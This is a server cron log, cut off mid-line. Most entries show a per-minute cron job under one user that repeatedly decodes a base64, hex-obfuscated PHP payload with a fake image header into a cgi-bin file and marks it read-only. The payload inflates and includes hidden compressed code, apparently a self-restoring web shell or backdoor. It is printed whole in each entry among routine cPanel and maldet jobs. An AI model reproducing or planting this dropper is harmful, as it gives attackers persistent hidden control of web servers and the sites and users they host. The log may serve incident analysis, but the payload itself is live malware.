Apr  8 01:23:01 server CROND[16952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:24:01 server CROND[17014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:25:01 server CROND[17081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:25:01 server CROND[17080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:25:01 server CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:26:01 server CROND[17209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:27:01 server CROND[17375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:27:01 server CROND[17376]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 01:28:01 server CROND[17446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:29:01 server CROND[17506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:30:01 server CROND[17609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:30:01 server CROND[17610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:30:01 server CROND[17611]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:30:01 server CROND[17612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:31:01 server CROND[17759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:32:01 server CROND[17831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:33:01 server CROND[18003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:34:01 server CROND[18229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:35:01 server CROND[18309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:35:01 server CROND[18310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 01:35:01 server CROND[18312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:35:01 server CROND[18313]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 01:35:01 server CROND[18311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:36:01 server CROND[18442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv